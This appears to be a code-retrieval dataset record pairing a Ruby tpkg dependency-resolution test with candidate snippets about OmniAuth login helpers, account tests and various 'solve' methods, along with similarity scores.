"def set_ommniauth_twitter(email = 'phanha9389twitter@gmail.com')\n OmniAuth.config.mock_auth[:twitter] = auth_hash_twitter(email)\n request.env[\"omniauth.auth\"] = OmniAuth.config.mock_auth[:twitter]\n end",
"def developer\n raise 'Invalid Authentication' unless ENV['FAKE_AUTH_ENABLED'] == 'true'\n @user = User.from_omniauth(request.env['omniauth.auth'])\n @user.save\n sign_in_and_redirect @user, event: :authentication\n flash[:notice] = \"Welcome #{@user.email}!\"\n end",
"def oauth?; stripe_account_type == 'oauth'; end",
"def apply_omniauth(omniauth)\n #add some info about the user\n self.login ||= omniauth['user_info']['nickname']\n self.picture_url = omniauth['user_info']['image']\n self.email ||= omniauth['user_info']['email']\n #self.nickname = omniauth['user_info']['nickname'] if nickname.blank?\n \n # unless omniauth['credentials'].blank?\n # user_tokens.build(:provider => omniauth['provider'], :uid => omniauth['uid'])\n # else\n user_tokens.build(:provider => omniauth['provider'], :uid => omniauth['uid'], \n :token => omniauth['credentials']['token'], :token_secret => omniauth['credentials']['secret'])\n # end\n #self.confirm!# unless user.email.blank?\n end",
"def apply_omniauth(omniauth)\n authentications.build(provider: omniauth['provider'],\n uid: omniauth['uid'],\n token: omniauth['credentials']['token'],\n secret: omniauth['credentials']['secret'])\n end",
"def apply_trusted_services(omniauth) \n # Merge user_info && extra.user_info\n user_info = omniauth['user_info']\n\n if omniauth['extra'] && omniauth['extra']['user_hash']\n user_info.merge!(omniauth['extra']['user_hash'])\n end \n\n # try name or nickname\n if self.name.blank?\n self.name = user_info['name'] unless user_info['name'].blank?\n self.name ||= user_info['nickname'] unless user_info['nickname'].blank?\n self.name ||= (user_info['first_name'] + \" \" + user_info['last_name']) unless \\\n user_info['first_name'].blank? || user_info['last_name'].blank?\n end \n\n if self.email.blank?\n self.email = user_info['email'] unless user_info['email'].blank?\n # if user_info['email'].present?\n # self.email = user_info['email'] unless user_info['email'].blank?\n # else\n # self.email = \"#{Time.now.to_i}#{rand(777)}@roomieapp.com\"\n # end\n end \n\n # Set a random password for omniauthenticated users\n self.password, self.password_confirmation = String::RandomString(16)\n\n end",
"def create_from_oauth\n if stored_anonymous_user?\n user, from_registration = update_from_omniauth(env[\"omniauth.auth\"], params[:provider])\n else\n user, from_registration = create_from_omniauth(env[\"omniauth.auth\"], params[:provider])\n end\n\n if user.errors.any?\n redirect_to_registration_page(user)\n else\n change_global_user_id(user.id)\n sign_in(user)\n fandom_play_login(user)\n \n if from_registration\n log_data = { 'form_data' => env[\"omniauth.auth\"], 'user_id' => current_user.id }\n log_synced(\"registration from oauth\", adjust_user_and_log_data_with_utm(user, log_data))\n\n set_account_up()\n cookies[:from_registration] = true \n end\n\n if $site.force_facebook_tab && !request_is_from_mobile_device?(request)\n redirect_to request.site.force_facebook_tab\n else\n redirect_after_oauth_successful_login()\n end\n end\n end",
"def test_verify_credentials\n return_values = JSON.parse('{\"applicationTag\":\"Test application\", \"isTestKey\":\"true\"}')\n @entity.stubs(:send_api_call).returns(return_values)\n\n credentials = @entity.credentials\n assert_true credentials.is_a?(Twizo::Result)\n assert_equal 'Test application', credentials.applicationTag\n assert_equal 'true', credentials.isTestKey\n end",
"def apply_trusted_services(omniauth, confirmation) \n # Merge user_info && extra.user_info\n user_info = omniauth['user_info'] ? omniauth['user_info'] : omniauth['info']\n if omniauth['extra'] && omniauth['extra']['user_hash']\n user_info.merge!(omniauth['extra']['user_hash'])\n end \n if omniauth['extra'] && omniauth['extra']['raw_info']\n user_info.merge!(omniauth['extra']['raw_info'])\n end \n # try name or nickname\n if self.name.blank?\n self.name = user_info['name'] unless user_info['name'].blank?\n self.name ||= user_info['nickname'] unless user_info['nickname'].blank?\n self.name ||= (user_info['first_name']+\" \"+user_info['last_name']) unless \\\n user_info['first_name'].blank? || user_info['last_name'].blank?\n end \n if self.email.blank?\n self.email = user_info['email'] unless user_info['email'].blank?\n end \n # Set a random password for omniauthenticated users\n self.password, self.password_confirmation = Devise.friendly_token\n if (confirmation) \n self.confirmed_at, self.confirmation_sent_at = Time.now \n end\n end",
"def setup_base_mocks\n client = mock(\"Heroku::Client\")\n Heroku::Client.expects(:new).with(\"heroku_username\", \"heroku_password\").returns(client)\n client\n end",
"def login_with(provider)\n post \"/auth/#{provider}/callback\", params: OmniAuth.config.mock_auth[provider.to_sym]\n end",
"def login_with(provider)\n post \"/auth/#{provider}/callback\", params: OmniAuth.config.mock_auth[provider.to_sym]\n end",
"def test_location_profile\r\n\r\n @place_holder.login_and_assert_profile(PropertiesReader.get_location_profile_url)\r\n\r\n end",
"def test_validates_paypal_account_with_good_credentials\n return if $paypal_hidden \n u = users(:user_without_profile)\n p = u.profile\n# p.paypal_account_type = Profile.paypal_account_types[\"Paypal Express\"]\n# p.paypal_user_id = paypal_test_api_username\n# p.paypal_password = paypal_test_api_password\n# p.paypal_API_key = paypal_test_api_key\n p.paypal_email_address = 'something@somewhere.com'\n# ActiveMerchant::Billing::PaypalExpressGateway.any_instance.expects(:ssl_post).returns(successful_setup_purchase_response)\n p.valid?\n assert_equal [], p.errors.full_messages\n end",
"def test_npi_profile\r\n\r\n @place_holder.login_and_assert_profile(PropertiesReader.get_npi_profile_url)\r\n\r\n end",
"def omniauth\n request.env['omniauth.auth']\n end",
"def omniauth\n request.env['omniauth.auth']\n end",
"def omniauth\n request.env['omniauth.auth']\n end",
"def test_simple_lookup_by_account_code\n accounts_list = @gateway.get_accounts_list\n assert_equal(true, accounts_list.loaded?)\n \n # Load data in the stubbed response.\n expected_accounts = accounts_as_array\n \n # Make sure that every single expected account exists in the cached lookup hash.\n expected_accounts.each do | expected_account |\n found_account = accounts_list.find_by_code(expected_account.code)\n assert_kind_of(XeroGateway::Account, found_account)\n assert(expected_account == found_account, \"Found account does not match expected account.\")\n\n found_account_shortcut = accounts_list[expected_account.code]\n assert_kind_of(XeroGateway::Account, found_account_shortcut)\n assert(expected_account == found_account_shortcut, \"Found account does not match expected account (shortcut).\")\n end\n end",
"def test_recipient_profile\r\n\r\n @place_holder.login_and_assert_profile(PropertiesReader.get_recipient_profile_url)\r\n\r\n end",
"def set_ommniauth_google(email = 'phanha9389google@gmail.com')\n OmniAuth.config.mock_auth[:google] = auth_hash_google(email)\n request.env[\"omniauth.auth\"] = OmniAuth.config.mock_auth[:google]\n end",
"def test_fb_user_signup_then_login_logout_multiple_times\n @user.email = @fb_user['email']\n\n # Step 1\n params = {\n 'vrid' => @user.vrid,\n 'merge_history' => true\n }\n\n assign_http(Config[\"turtle\"][\"host\"])\n\n get '/auth/facebook', params\n assert_response(@response, 302)\n assert_match(/https:\\/\\/www\\.facebook\\.com/, @response['location'])\n\n login_fb_user!(@fb_user, @user)\n assert(@user.oauth_token)\n\n lookup_user_by_id(@user.id)\n fb_uid = @parsed_response['facebook_uid']\n\n # Step 2\n get_user_info(@user.oauth_token)\n assert(@parsed_response['accounts'].length >= 1, @parsed_response)\n fb_account = @parsed_response['accounts'].first\n assert_equal('FacebookAccount', fb_account['type'], fb_account)\n assert(fb_account['identifier'], fb_account)\n\n get_dragon_user(@user.id)\n assert_response(@response, :success)\n\n assert(@parsed_response['facebook_uid'], @parsed_response)\n assert_equal(fb_uid, @parsed_response['facebook_uid'], @parsed_response)\n\n # Step 3\n turtle_response = @user.logout\n assert_response(turtle_response, :redirect)\n\n get_dragon_user(@user.id)\n assert_response(@response, :success)\n\n assert(@parsed_response['facebook_uid'], @parsed_response)\n assert_equal(fb_uid, @parsed_response['facebook_uid'], @parsed_response)\n\n # Step 4\n params = {\n 'vrid' => @user.vrid,\n 'merge_history' => true\n }\n\n assign_http(Config[\"turtle\"][\"host\"])\n\n get '/auth/facebook', params\n assert_response(@response, 302)\n assert_match(/https:\\/\\/www\\.facebook\\.com/, @response['location'])\n\n login_fb_user!(@fb_user, @user)\n assert(@user.oauth_token)\n\n get_user_info(@user.oauth_token)\n assert(@parsed_response['accounts'].length >= 1, @parsed_response)\n fb_account = @parsed_response['accounts'].first\n assert_equal('FacebookAccount', fb_account['type'], fb_account)\n assert(fb_account['identifier'], fb_account)\n\n get_dragon_user(@user.id)\n assert_response(@response, :success)\n\n assert(@parsed_response['facebook_uid'], @parsed_response)\n assert_equal(fb_uid, @parsed_response['facebook_uid'], @parsed_response)\n end",
"def github_account?\n !github_user.nil? and !github_token.nil?\n end",
"def disabled_test_create_account\n create_account()\n end",
"def set_fake_env\n if current_user.nil?\n @current_account = if params[:account_id].blank?\n Account.first\n else\n Account.find(params[:account_id])\n end\n\n @current_user = @current_account.permissioned_users.first\n end\n end",
"def test_get_access_token\n end",
"def social_accounts_for_a_project\n uri = \"#{@api_url}/#{@project_id}/accounts?access_token=#{@access_token}\"\n get uri\n end",
"def test_login_mobile\n # Step 1\n turtle_response = @user.register\n assert_response(turtle_response, :success)\n assert(@user.id)\n\n # Step 2\n params = {\n 'client_id' => @user.turtle_client_id,\n 'client_secret' => @user.turtle_secret_key,\n 'grant_type' => @user.grant_type,\n 'email' => @user.email,\n 'password' => @user.password\n }\n\n post '/oauth/access_token', params\n assert_response(@response, :success)\n assert(@parsed_response['access_token'].present?)\n\n # Step 3\n turtle_response = @user.verify_oauth_token(@parsed_response['access_token'])\n assert_response(turtle_response, :success)\n end",
"def authentication_providers authenticator, account: Conjur.configuration.account\n JSON.parse(url_for(:authentication_providers, account, authenticator, credentials).get)\n end",
"def setup_data(login_as: :provider)\n @provider = FactoryBot.create(:provider_account)\n @buyer = FactoryBot.create(:buyer_account, provider_account: @provider, timezone: 'Mountain Time (US & Canada)')\n @app_plan = FactoryBot.create(:application_plan, issuer: @provider.default_service)\n @app = @buyer.buy! @app_plan\n\n host! @provider.external_admin_domain\n\n case login_as\n when :provider\n login_provider @provider\n when :buyer\n login_buyer @buyer\n end\n end",
"def test_local\n\tauth = YAML.load(File.open('local_auth.yaml'))\n\t@consumer=OAuth::Consumer.new auth['consumer_key'], \n auth['consumer_secret'], \n {:site=>\"http://localhost:3000\"}\n\t# Create the access_token for all traffic\n\treturn OAuth::AccessToken.new(@consumer, auth['token'], auth['token_secret']) \nend",
"def hash_from_omniauth(omniauth)\n {\n :provider => omniauth['provider'],\n :uid => omniauth['uid'],\n :token => (omniauth['credentials']['token'] rescue nil),\n :secret => (omniauth['credentials']['secret'] rescue nil),\n :screenname => (omniauth['user_info']['nickname'] rescue nil)\n }\n end",
"def omniauth\n request.env[\"omniauth.auth\"]\n end",
"def test_basic_account_migration_step2\n post :register, {:user => old_c2w_users(:jim).to_user.attributes.delete_if{|k,v| ![:username, :email,\n :gender, :date_of_birth, :address_line_1, :address_line_2, :state, :city, :country, :pin_code,\n :mobile_number, :phone_number].include?(k.to_sym)}.merge({:password_confirmation => 'jim277', :password => 'jim277'})},\n {:old_c2w_user => old_c2w_users(:jim)}\n assert assigns['user'].errors.empty?\n user = assigns['user']\n assert !session[:user]\n assert session[:old_c2w_user].nil?\n assert old_c2w_users(:jim).migrated?\n assert_equal AppConfig.migration_bonus_credits + AppConfig.sign_up_bonus_credits + old_c2w_users(:jim).points, user.prize_points\n assert_equal AppConfig.migration_bonus_credits > 0 ? 3:2, user.credit_transactions.count\n assert_equal user.id, old_c2w_users(:jim).new_user_id\n assert_equal old_c2w_users(:jim).date_of_registration.to_time.to_i, user.created_on.to_time.to_i\n end",
"def test_redirect_url\n common_opts = {}\n if user_is_in_proper_account?\n Rails.application.routes.url_helpers.workplace_start_path(common_opts.merge({success: true, refresh: true}))\n elsif UserSession.find\n Rails.application.routes.url_helpers.workplace_failure_path(common_opts.merge({network: params[:network], wrong_network: true}))\n else\n Rails.application.routes.url_helpers.identity_provider_path(common_opts.merge({network: params[:network], fb_workplace_network: false}))\n end\n end",
"def omniauth(provider, *args); end",
"def test_auth_use_not_available\n user = User.authenticate('My');\n assert_equal nil, user, 'find user not_available false'\n end",
"def test_member_account\n get \"/account\"\n assert_redirected_to \"http://www.example.com/person_session/new\"\n follow_redirect!\n login :person_session => { :login => 'bob.jones', :password => 'secret' }\n assert_redirected_to \"http://www.example.com/account\"\n follow_redirect!\n assert_redirected_to \"http://www.example.com/people/#{@member.id}/edit\"\n\n get \"/account\"\n assert_redirected_to \"http://www.example.com/people/#{@member.id}/edit\"\n\n get \"/people/#{@member.id}/account\"\n assert_redirected_to \"http://www.example.com/people/#{@member.id}/edit\"\n\n get \"/people/account\"\n assert_redirected_to \"http://www.example.com/people/#{@member.id}/edit\"\n\n another_member = Person.create!.id\n get \"/people/#{another_member}/account\"\n assert_redirected_to \"http://www.example.com/people/#{another_member}/edit\"\n follow_redirect!\n assert_redirected_to unauthorized_path\n\n get \"/logout\"\n get \"/account\"\n login :person_session => { :login => 'admin@example.com', :password => 'secret' }\n assert_redirected_to \"http://www.example.com/account\"\n follow_redirect!\n assert_redirected_to \"http://www.example.com/people/#{@administrator.id}/edit\"\n\n get \"/people/#{@member.id}/account\"\n assert_redirected_to \"http://www.example.com/people/#{@member.id}/edit\"\n\n get \"/people/account\"\n assert_redirected_to \"http://www.example.com/people/#{@administrator.id}/edit\"\n\n get \"/people/#{another_member}/account\"\n assert_redirected_to \"http://www.example.com/people/#{another_member}/edit\"\n\n get \"/people/#{@administrator.id}/account\"\n assert_redirected_to \"http://www.example.com/people/#{@administrator.id}/edit\"\n \n put \"/people/#{@administrator.id}\"\n assert_redirected_to \"http://www.example.com/people/#{@administrator.id}/edit\" \n end",
"def set_omniauth_user(user)\n # Setup OmniAuth to return the correct metatda for this user.\n OmniAuth.config.add_mock(:twitter, {\n uid: user.uid,\n info: {\n name: user.name\n }\n })\n end",
"def test_tax_id_profile\r\n\r\n @place_holder.login_and_assert_profile(PropertiesReader.get_tax_id_profile_url)\r\n\r\n end",
"def get_mocked_creds(obj)\n obj.target_credentials\nend",
"def apply_omniauth(omniauth)\n self.email = omniauth['user_info']['email'] if email.blank?\n\n if nick.blank?\n self.nick = (omniauth['user_info']['first_name'] || omniauth['user_info']['nickname'] ||\n omniauth['user_info']['name'] ||omniauth['user_info']['email'])\n end\n\n self.email_alert = false\n self.sms_alert = false\n self.weekend = false\n\n authentications.build(:provider => omniauth['provider'], :uid => omniauth['uid'])\n end",
"def apply_omniauth(omni)\n self.authentications.build(:provider => omni['provider'],\n :uid => omni['uid'],\n :token => omni['credentials']['token'],\n :token_secret => omni['credentials']['secret'])\n\n self.send(\"set_#{omni['provider']}_info\", omni)\n end",
"def senders_for_test_account account\n senders = []\n if test_mode_on?\n Conf.test.each do |v|\n if v.is_a?(Hash) && v.keys.include?(account)\n senders.concat v[account]\n end\n end\n end\n senders.empty? ? nil : senders\n end",
"def test_auth_use_available\n user = User.authenticate('MyString');\n if(user)\n assert true\n else\n assert false, 'find user false'\n end\n end",
"def apply_omniauth(omniauth)\n if omniauth['provider'] == 'facebook'\n\n #Buscar info\n self.email = omniauth['info']['email']\n self.name = omniauth['info']['name']\n\n #location é composto por \"Cidade, Pais\"\n if omniauth['info']['location'] != nil\n location = omniauth['info']['location'].split(\", \")\n else\n location = ''\n end\n #location = omniauth['info']['location'].split(\", \")\n\n #buscar cidade do location\n\n city = City.find_by city: location[0]\n if city != nil\n \tself.city = city\n end\n\n\n #buscar imagem\n #if omniauth['info']['image']!=nil\n # self.avatar = URI.parse(omniauth['info']['image'])\n #end\n\n omni_authentications.build(:provider => omniauth['provider'], :uid => omniauth['uid'])\n elsif omniauth['provider'] == 'twitter'\n #Buscar info\n self.name = omniauth['info']['name']\n\n #buscar cidade do location\n city = City.find_by city: omniauth['info']['location']\n if city != nil\n \tself.city = city\n end\n\n #buscar imagem\n #if omniauth['info']['image']!=nil\n # self.avatar = URI.parse(omniauth['info']['image'])\n #end\n\n omni_authentications.build(:provider => omniauth['provider'], :uid => omniauth['uid'])\n elsif omniauth['provider'] == 'google_oauth2'\n #Buscar info\n self.email = omniauth['info']['email']\n self.name = omniauth['info']['name']\n\n #Google não contem cidade\n\n omni_authentications.build(:provider => omniauth['provider'], :uid => omniauth['uid'])\n end\n\n end",
"def test_orders_auth \n c = customers(:bob)\n assert_equal(orders(:bob_order), c.find_order(1))\n assert_nil(c.find_order(2))\n assert_nil(c.find_order(100000))\n end",
"def have_account?\n false\n end",
"def test_that_authentication_returns_access_token\n response = MercadoPago::Authentication.access_token(CREDENTIALS[:client_id], CREDENTIALS[:client_secret])\n assert response['access_token']\n end",
"def setup\n @account = accounts(:test_account)\n @user = @account.users.first\n \n # All requests are at account domain with logged-in user unless\n # otherwise specified in the test method\n @request.host = \"#{@account.domain}.ticktockapp.com\"\n @request.session = {:user_id => @user.id}\n end",
"def test_add_account\r\n mocked_account_tracker = Minitest::Mock.new(\"test_account_tracker\")\r\n mocked_account_tracker.expect(:account_exists?, true, [\"123456\"])\r\n mocked_account_tracker.expect(:add_balance, 1, [\"123456\", 5])\r\n\r\n @g.add_account(mocked_account_tracker, \"123456\", 5)\r\n assert_mock mocked_account_tracker\r\n end",
"def stub_slack_login_with(nickname)\n user = User.find_by!(nickname: nickname)\n\n OmniAuth.config.test_mode = true\n\n OmniAuth.config.mock_auth[:slack] = OmniAuth::AuthHash.new(\n provider: \"slack\",\n uid: user.uid,\n info: {\n nickname: user.nickname\n }\n )\n end",
"def test_case_profile\r\n\r\n @place_holder.login_and_assert_profile(PropertiesReader.get_case_profile_url)\r\n\r\n end",
"def on_users_account\n true\n end",
"def from_omniauth?\n uid.present? && provider.present?\n end"
] | [
"0.69900966",
"0.6871177",
"0.65068924",
"0.6486989",
"0.64714503",
"0.63960737",
"0.6280759",
"0.62422264",
"0.62377244",
"0.6116393",
"0.6083275",
"0.599791",
"0.5968223",
"0.59553987",
"0.5878758",
"0.5878758",
"0.58665687",
"0.5865046",
"0.5829651",
"0.5829651",
"0.5822722",
"0.5806428",
"0.5804638",
"0.5802824",
"0.57964194",
"0.576149",
"0.576149",
"0.57432944",
"0.5739679",
"0.57371944",
"0.5718675",
"0.57122743",
"0.5618067",
"0.55791086",
"0.5572169",
"0.55374455",
"0.553165",
"0.5520393",
"0.548597",
"0.5469483",
"0.54626805",
"0.5462294",
"0.5456175",
"0.5399375",
"0.53831714",
"0.53670317",
"0.53664315",
"0.5338251",
"0.53154063",
"0.5307191",
"0.52934164",
"0.52712494",
"0.52589923",
"0.52536607",
"0.5232173",
"0.52284396",
"0.52284396",
"0.5220874",
"0.52181494",
"0.5214215",
"0.52068293",
"0.52068293",
"0.52065843",
"0.5199456",
"0.51930845",
"0.51915157",
"0.51909775",
"0.51843303",
"0.51782846",
"0.51772577",
"0.5169955",
"0.5168536",
"0.51610297",
"0.5152116",
"0.5145007",
"0.513613",
"0.51315975",
"0.5116045",
"0.5115849",
"0.5114191",
"0.51099837",
"0.51067513",
"0.51049745",
"0.510048",
"0.5088314",
"0.5087489",
"0.508313",
"0.5077462",
"0.5074286",
"0.5065439",
"0.5064273",
"0.506096",
"0.50575763",
"0.50469047",
"0.50465804",
"0.5038147",
"0.5038109",
"0.5035498",
"0.50175077",
"0.50138164"
] | 0.8128238 | 0 |
best_solution is a thin wrapper of this method, most of the testing is in test_best_solution | def test_resolve_dependencies
Dir.mktmpdir('testbase') do |testbase|
tpkg = Tpkg.new(:base => testbase, :sources => @pkgfiles)
result = tpkg.resolve_dependencies([{:name => 'a', :type => :tpkg}], {:tpkg => {}, :native => {}}, ['a'])
assert(result.has_key?(:solution))
solution = result[:solution]
# We should end up with a-1.0, b-1.0 (the specific one, not the generic
# one), c-1.2 and d-1.2
assert_equal(4, solution.length)
good = ['a-1.0-1.tpkg', "b-1.0-1-#{Metadata.clean_for_filename(tpkg.os.os)}.tpkg", 'c-1.2-1.tpkg', 'd-1.2-1.tpkg']
solution.each { |pkg| assert(good.any? { |g| pkg[:source].include?(g) }) }
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def best_solution\n # Sort existing solutions by expected makespan.\n @solutions.sort_by!(&:expected_makespan)\n # First solution is the best one.\n @solutions.first\n end",
"def solution\n solve unless solved?\n @solution\n end",
"def run\n solve\n { price: @best_price, config: @best_config }\n end",
"def solve\n a = Time.new\n for i in 0..@itemsSize - 1\n @table[0][i] = 0\n end\n \n for i in 1..@itemsSize - 1\n price = @problem.prices[i-1]\n weight = @problem.weights[i-1]\n for w in 1..@weights - 1\n if weight <= w\n if (price + @table[w - weight][i - 1]) > @table[w][i -1]\n @table [w][i]= price + @table[w - weight][i - 1]\n else\n @table[w][i] = @table[w][i - 1]\n end\n else\n @table[w][i] = @table[w][i - 1]\n end\n end\n end\n \n \n prev_item = 0\n for i in 1..@itemsSize - 1\n curr_item = @table[@weights - 1][i]\n if prev_item < curr_item\n @best_configuration.push(1)\n else\n @best_configuration.push(0)\n end\n prev_item = curr_item\n end\n \n @best_fitness = @table[@weights - 1][@itemsSize - 1]\n \n b = Time.new\n @time = b-a\n end",
"def solution\n return self.answers.select {|x| x.correct}[0] if solved?\n nil\n end",
"def compute_best\n best = @population.max_by { |x| x.fitness(@target) }\n @finished = true if best.fitness(@target) == @perfect_score\n best.phrase\n end",
"def compute_best\n best = @population.max_by { |x| x.fitness(@target) }\n @finished = true if best.fitness(@target) == @perfect_score\n best.phrase\n end",
"def solve\n end",
"def run\n solve(0)\n { price: @best_price, config: @best_config }\n end",
"def solve\n loop { break if !shift }\n return @solutions\n end",
"def solve\n solution_candidate(intersections.next_people_with_similar_tastes)\n end",
"def solution\n answer = self.clone.solve\n answer.nil? ? nil : answer.grid.map {|row| row.map {|cell| cell.first}}\n end",
"def find_solution_dynamic\n if @game_data.solved?\n update_best_maybe(nil)\n return\n end\n\n prev_move_num = @visited[@game_data.cur_row]\n if !prev_move_num.nil? && (prev_move_num <= @move_number)\n return\n end\n\n @visited[@game_data.cur_row] = @move_number\n\n moves = @game_data.possible_plays\n moves.each do |move|\n next unless @game_data.make_move(move)\n\n raw_pat, raw_repl = @game_data.get_raw_rule_and_repl_for_move(move)\n cur_pos = @game_data.cur_row.dup\n if raw_pat.include?('.')\n # replace the replaced chars with the raw (wildcard) pattern\n # this makes it able to hook into the set of pre-computed positions.\n cur_pos[move[GS_PLAY_IDX]...raw_repl.size] = raw_pat\n end\n\n # did our two solver techniques connect? (Brute force ran into a\n # pre-populated static answer if 'pos' exists)\n pos = @positions[cur_pos]\n unless pos.nil?\n # Success! Limited brute force search with wildcards was able to\n # find a solution in the precomputed set of positions!\n # DON'T BREAK because the first found solution may not be the best.\n update_best_maybe(pos)\n end\n\n @move_number += 1\n find_solution_dynamic\n @move_number -= 1\n @game_data.undo_move\n end\n nil\n end",
"def final_solution(first, last, budget)\n best_cost = -1\n best_time = 0\n final_vertex = @vertex_array[last]\n final_vertex.valid_options.each do |ct_array|\n if ct_array[0] > best_cost && ct_array[0] <= budget\n best_cost = ct_array[0]\n best_time = ct_array[1]\n end\n end\n print \"\\nVertex #{@vertex_array[first].name} to vertex #{@vertex_array[last].name} has cost/time options:\\n\"\n count = 1\n print \" (Cost, Time)\\n\"\n @vertex_array[last].valid_options.each do |option|\n print \"#{count}\\t(#{option[0]}, #{option[1]})\\n\"\n count += 1\n end\n if best_cost == -1\n puts \"No solution found with budget #{budget}\"\n else\n print \"\\nBest solution found within budget of #{@budget} was:\\n Cost #{best_cost}\\n Time #{best_time}\\n\"\n true_path = get_path(@vertex_array[last].final_path, best_cost, best_time)\n print \"Path: \"\n count = 0\n while count < true_path.size - 1\n print \"#{true_path[count]} -> \"\n count += 1\n end\n puts true_path[count]\n end\n end",
"def solve\n @time = Time.new\n while true\n if @stack.pop == 0\n else\n while (not @stack.empty?) && (@stack.peek == 1)\n @stack.pop\n end\n if not @stack.empty?\n @stack.pop\n else\n b = Time.new\n @time = b - @time\n return\n end\n \n end\n \n @current_configuration[@stack.size] = 1\n @stack.push(1)\n while @stack.size < @dimension\n @current_configuration[@stack.size] = 0\n @stack.push(0)\n end\n \n conf = Configuration.new(@current_configuration, @problem)\n curr_fitness = conf.fitness\n if curr_fitness > @best_fitness\n @best_fitness = curr_fitness\n for i in 0..@current_configuration.size - 1\n @best_configuration[i] = @current_configuration[i]\n end\n \n end\n \n end\n \n \n end",
"def set_solution\r\n @solutions = true\r\n end",
"def solution\n\n return self if solved?\n\n while [hidden_singles, naked_singles].any?\n end\n\n return self if solved?\n\n\n # Brute force\n i = each_empty_cell.sort_by { |cell, n| legal_values(n).size }.first.try :last\n\n legal_values(i).map do |value|\n fill(i, value).solution\n end.compact.select { |n| n.solved? }.first\n end",
"def solve\n @sorted_things.each do |thing|\n break if (config_weight + thing.weight) > @instance.weight_capacity\n @config[thing.index] = 1\n end\n @best_price = config_price\n @best_config = @config.dup\n end",
"def return_solution_found\n @open.select(&:goal).first\n end",
"def local_search(problem, max_iterations, max_unimprove_iterations, max_time, \n max_unimprove_time, mut_rate, report_time_interval = 2)\n best = greedy_solve(problem)[:solution]\n best_find_time = 0\n iter = 1\n unimprove_iter = 1\n unimprove_start_time = Time.now\n last_improve_time = Time.now\n start_time = Time.now\n last_rep_time = Time.now\n while ((!max_iterations || iter <= max_iterations) and \n (!max_unimprove_iterations || unimprove_iter <= max_unimprove_iterations) and\n (!max_time || (Time.now - start_time).to_i <= max_time) and \n (!max_unimprove_time || (Time.now - last_improve_time).to_i <= max_unimprove_time)) do\n nxt = mutate(best, problem.path_funcs.length, mut_rate) \n if objective_function(nxt, problem.path_funcs) > objective_function(best, problem.path_funcs) \n unimprove_start_time = Time.now\n last_improve_time = Time.now\n unimprove_iter = 1\n best = nxt\n best_find_time = Time.now - start_time\n else\n unimprove_iter += 1\n end\n iter += 1\n if (Time.now - last_rep_time).to_i >= report_time_interval\n msg = \"Iteration = #{iter}, Obj = #{objective_function(best, problem.path_funcs)}, \"\n msg += \"Elapsed Time = #{Time.now - start_time}\"\n puts msg\n last_rep_time = Time.now\n end\n end\n {:solution => best, :objective_func => objective_function(best, problem.path_funcs), \n :elapsed_time => Time.now - start_time, :best_find_time => best_find_time}\n end",
"def solve(project)\n # Store project.\n @project = project\n # Let the project calculate earliest/latest start/finish times.\n @project.calculate_start_and_finish_times!\n # Start with an empty solution set.\n @solutions = []\n # Generate first batch of solutions with special p_lft and p_random.\n p_lft, p_random = @p_lft, @p_random\n @p_lft, @p_random = 0.95, 0.05\n @solution_set_size.times { @solutions << generate_solution }\n @p_lft, @p_random = p_lft, p_random\n # Initialize solution counters, include solution set size in total solution count.\n n_solutions = @solution_set_size\n n_unsuccessful_solutions = 0\n # Generate solutions until the limit of either total or unsuccessful solutions is reached.\n until n_unsuccessful_solutions == @max_unsuccessful_solutions || n_solutions == @max_solutions\n # Generate a new solution and add it if better than worst in current set.\n # Reset or increment unsuccessful solutions counter accordingly\n if add_solution_if_improvement(generate_solution)\n n_unsuccessful_solutions = 0\n else\n n_unsuccessful_solutions += 1\n end\n # Increment total solution counter.\n n_solutions += 1\n end\n # Return best solution.\n best_solution\n end",
"def solution\n @solution ||= cells.first.shortest_path_to(cells.last)\n end",
"def recursive_solution\n\n end",
"def calculate_solution\n Solve.it!(\n GraphBuilder.graph_from_cache(@cache, @options),\n resolver.constraints\n )\n end",
"def solve\n problem_size = @knapsack_problem.items.size()\n max_capacity = @knapsack_problem.max_capacity\n total_profit = 0\n\n solutions = []\n \n # We iterate through the whole domain of posible solutions\n # the solution is an array of bits, whose integer representation is 'j'\n 0.upto(2 ** problem_size) { |j|\n # For each solution, we calculate the total profit, and if it fits in the knapsack\n current_solution = selected_items(problem_size, j)\n current_weight = 0\n current_profit = 0\n\n 0.upto(problem_size - 1) { |i|\n current_weight += current_solution[i] * @knapsack_problem.items[i].weight\n current_profit += current_solution[i] * @knapsack_problem.items[i].profit\n }\n\n if current_weight > max_capacity\n next\n end\n\n # The solution fits in the knapsack\n if current_profit > total_profit\n # The solution is greater than all the previous ones\n total_profit = current_profit\n solutions.clear()\n solutions.push(current_solution)\n elsif current_profit == total_profit\n # We found another solution to the problem\n solutions.push(current_solution)\n end\n }\n\n puts \"\\t Solutions found: #{ solutions.size } - Profit: #{ total_profit }\"\n \n solutions.each { |x| puts \"\\t\\t #{ x }\" }\n\n return solutions\n end",
"def test_HEURISTIC_20\n path=\"/home/miro/NetBeansProjects/Knapsack/test/\"\n\n p=Solver.new\n\n p.read_problem(path+\"input3\")\n\n assert_equal(1979, p.heuristic)\n\n p=Solver.new\n p.read_problem(path+\"input4\")\n\n assert_equal(2168, p.heuristic)\n\n p=Solver.new\n p.read_problem(path+\"input5\")\n\n assert_equal(2516, p.heuristic)\n\n\n\n end",
"def run_tests\n check_solution(1, [6, 29, 18, 2, 72, 19, 18, 10, 37], 18, 2)\n check_solution(2, [6, 29, 18, 2, 72, 19, 18, 10, 37], 9, -1)\nend",
"def run_tests()\n check_solution(1, [1, 3, 5, 4], [5])\n check_solution(2, [4, 2, 3, 6, 10], [4, 10])\n check_solution(3, [4, 2, 11, 6, 10], [4, 11, 10])\nend",
"def greedy_solve problem\n start_time = Time.now\n items = problem.item_footprints.sort\n current = []\n items.each do |footprint|\n cands = (0..problem.path_funcs.length - 1).to_a.map do |path|\n c = current.map{|i| i.clone}\n c << Item.new(footprint, path)\n c\n end.map{|s| {:solution => s, :objective_func => objective_function(s, problem.path_funcs)}}\n current = cands.reduce{|x,y| x[:objective_func] > y[:objective_func] ? x : y}[:solution]\n end\n {:solution => current, :objective_func => objective_function(current, problem.path_funcs), \n :elapsed_time => Time.now - start_time}\n end",
"def solve!\n end",
"def compare_solutions(count = 5, n_min = 1, n_max = 300)\n arr = generate(count, n_min, n_max)\n if solve(arr) != solve_opt(arr)\n puts \"\\nFAILED\"\n puts 'data: ' + arr.to_s\n puts 'solution: ' + solve(arr).to_s\n puts 'optimized solution: ' + solve_opt(arr).to_s\n end\nend",
"def solve\n BruteForceSolver.new(self).solve\n end",
